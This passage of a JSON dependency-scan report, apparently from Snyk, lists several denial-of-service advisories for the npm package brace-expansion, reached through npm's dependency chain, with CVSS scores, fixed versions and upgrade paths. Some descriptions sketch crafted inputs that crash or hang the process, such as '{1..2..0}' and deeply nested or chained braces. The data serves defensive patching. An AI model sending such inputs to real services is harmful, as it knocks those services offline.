"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
